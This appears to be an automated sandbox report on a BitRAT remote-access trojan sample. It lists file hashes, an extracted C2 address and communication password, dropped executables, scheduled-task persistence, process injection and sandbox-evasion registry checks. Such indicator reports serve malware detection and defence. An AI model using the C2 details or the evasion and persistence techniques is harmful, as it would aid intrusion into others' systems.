bitrat | 2a5860280179b24de91f70165fb736afa5947cefb5c33c63202c7d8c5d00d1d0

Analysis

max time kernel
155s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
29-01-2024 21:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

80dcd56f6d8e3324d715736b66858795.exe
Size

7.9MB
MD5

80dcd56f6d8e3324d715736b66858795
SHA1

5b94991f56910b4bac99bef952ce88c740883b4d
SHA256

2a5860280179b24de91f70165fb736afa5947cefb5c33c63202c7d8c5d00d1d0
SHA512

d9e0d10a5c11ec3e3ccb62e448f9be9c6287ae118cc7c84f2012999b35836688946dd3a05b046daf370870fadcec2f690850f25f5811400572639de0554e135b
SSDEEP

196608:LK8mrs8c1/ohqLBhTZEIN+8y2CVoW1a+QKON:tmrsChqNby2CB1a+

Score

10^/10

bitrat trojan upx

Malware Config

Extracted

Family

bitrat

Version

1.38

178.20.40.235:5555

Attributes

communication_password
cc86a50fb8f3c4840cb346a0829f64a2
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2572 created 4080 2572 WerFault.exe DllHost.exe

description	pid	process	target process
PID 2572 created 4080	2572	WerFault.exe	DllHost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	pid	process	target process
PID 4284 created 584	4284	powershell.EXE	winlogon.exe
PID 1592 created 584	1592	powershell.EXE	winlogon.exe
PID 4948 created 4080	4948	svchost.exe	DllHost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

80dcd56f6d8e3324d715736b66858795.exe$77.WWI Provider Host.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	80dcd56f6d8e3324d715736b66858795.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	$77.WWI Provider Host.exe

Executes dropped EXE 3 IoCs

Processes:

$77.sedsvc.exe$77.WWI Provider Host.exe$77.Install.exe

pid process

848 $77.sedsvc.exe
912 $77.WWI Provider Host.exe
1056 $77.Install.exe

pid	process
848	$77.sedsvc.exe
912	$77.WWI Provider Host.exe
1056	$77.Install.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\$77.sedsvc.exe	upx
behavioral2/memory/848-37-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/848-175-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/848-214-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Drops file in System32 directory 25 IoCs

Processes:

svchost.exeOfficeClickToRun.exepowershell.EXEsvchost.exepowershell.EXEsvchost.exeDllHost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	DllHost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm	DllHost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.log	DllHost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

$77.sedsvc.exe

pid process

848 $77.sedsvc.exe
848 $77.sedsvc.exe
848 $77.sedsvc.exe
848 $77.sedsvc.exe

pid	process
848	$77.sedsvc.exe
848	$77.sedsvc.exe
848	$77.sedsvc.exe
848	$77.sedsvc.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 4284 set thread context of 1844	4284	powershell.EXE	dllhost.exe
PID 1592 set thread context of 1868	1592	powershell.EXE	dllhost.exe

Drops file in Windows directory 4 IoCs

Processes:

$77.Install.exe

description	ioc	process
File created	C:\Windows\Tasks\$77svc32.job	$77.Install.exe
File opened for modification	C:\Windows\Tasks\$77svc32.job	$77.Install.exe
File created	C:\Windows\Tasks\$77svc64.job	$77.Install.exe
File opened for modification	C:\Windows\Tasks\$77svc64.job	$77.Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exewmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ConfigFlags	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Capabilities	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Mfg	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	svchost.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

OfficeClickToRun.exepowershell.EXEpowershell.EXEmousocoreworker.exesvchost.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1706562365"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a8408a7191d78d49839702b8b864023600000000020000000000106600000001000020000000a4af29a6cb64bcfea6051277d2e871623fedd651c056dff6d5fd14a59e48801c000000000e80000000020000200000000383c38221bd3602c2944b4bff5556befdf99d07de3f09f3c1a392af08e0932fb00300001cab0c631da40ed959fa90430a2e8698a7c37156213f83ae1d5bd28dd6edad2aae406c0e9384bc1ab5ab7d5c093bb2e22cfa4cb3d89b1dbdbe1db39ff1990fe56cfcf1fdb92c063b24c844e6dffbe3fa11efb9cbbc095559a6e92583a0d691d9ac35be17be7d4e73792d39f7e3369060998ab3af8077969555b203a93530285d42cc0c921f3b228efdf337dd8adf72ee1d33cc5cb2003fda5666845679127bb160a6afa3f89380360c16ad0bd01eb267fb6d3126bd3900eb4972263e82cebbba6fb49170cd36172857d2bd9088fe2875ddf9f9968a1d847368ca168709fd10a9c58a5a930c39070ce0c1be3266b99390a8cb6c17deb71dc444e9dd5e7f79ffc006a2f78556fdf22cc80257b67ff34de9c444c8126aff140eb30b39cbd65c75f8a57d2982f7e256f8167bcd86528c1fdf371a782e2ebcfc2a67117aa47c1b10b9a6c141140e82e1a5ef914fc83a008d679b18907774567ee9a57ff1342d5643d097688ebbbc812ac3d6d0fe45ef980388fdc8b21803beb8cb0bfbd96c4f04d211f407095b01177c5cd0b17f1c6a2e5e7530b7381031d61b26401796d46c56db377573132307ba51aadb881e2a247a9026c148d27076c7f459ea0dd1c2bd4fe77e0bb4d8cd2686823efe2c65a4271e88f4545f355e5185a5214b9db68af73c74e133745a43de783d0d87783f9e7e6da0df1d719f27ba4f223136d52f483492bb20efe03c0b1e4d31492e6ddbc72cb9ceb6e2f6acda317d273ca03f27d4418c740204a47cb1e46a961439343097a4a8b587e6301634c2622de48de51e1f20d9c36526783ce1aa82f1209d070038eb0d30206f216c7de6f8f9bfd16a82e8886153f54d50e7fd7ea15e1bc552c8f9c7bcf09254cdedb7cc3ce4202a8ff2895207bb0670e06b583dd8a6d78de69853e3031328323bf2886e84ad70a32f4124e465d3775c9c85b86700af5a1fb88c916c206a937f443a77864e53d2ec91a80fe9910fea8fe41ee7c7708a03ad01280856d74b0a6e0587f43b6d187aae49775bba6bccf68b3ce1e914d58674e085a9755aa0de279440d032272558d62fc7fdd184f33e41d7ba6a4dbd55438e78f33901c3811e464f214a4fe1791df9e906475e89033fae5dc4f5af54382477f643d87a786882c4e1135248a49732496302468e42a105f02d3d14941ad5b260d2cffecb1a08596425efe9ff4fc4bbde00f39de2d7fa7b472b9732280ef68ea81d0e74174955d296a3f3222e9c131b525132c7c35341a5ef194644fc67c420626e43eb10bfdece9bf1674e9e6f26c9ced8a36b6f6d0177c6ab786b6f6f57e9e4b968845143ce5245400000002b299fe541ddacd336df72a57bbc0a14dc97ca193450f49eed371687a146913e9e5164647b93b56a292d67a05a0f9afa63cbeea00b12c1167bb935964ea3f7e2	mousocoreworker.exe
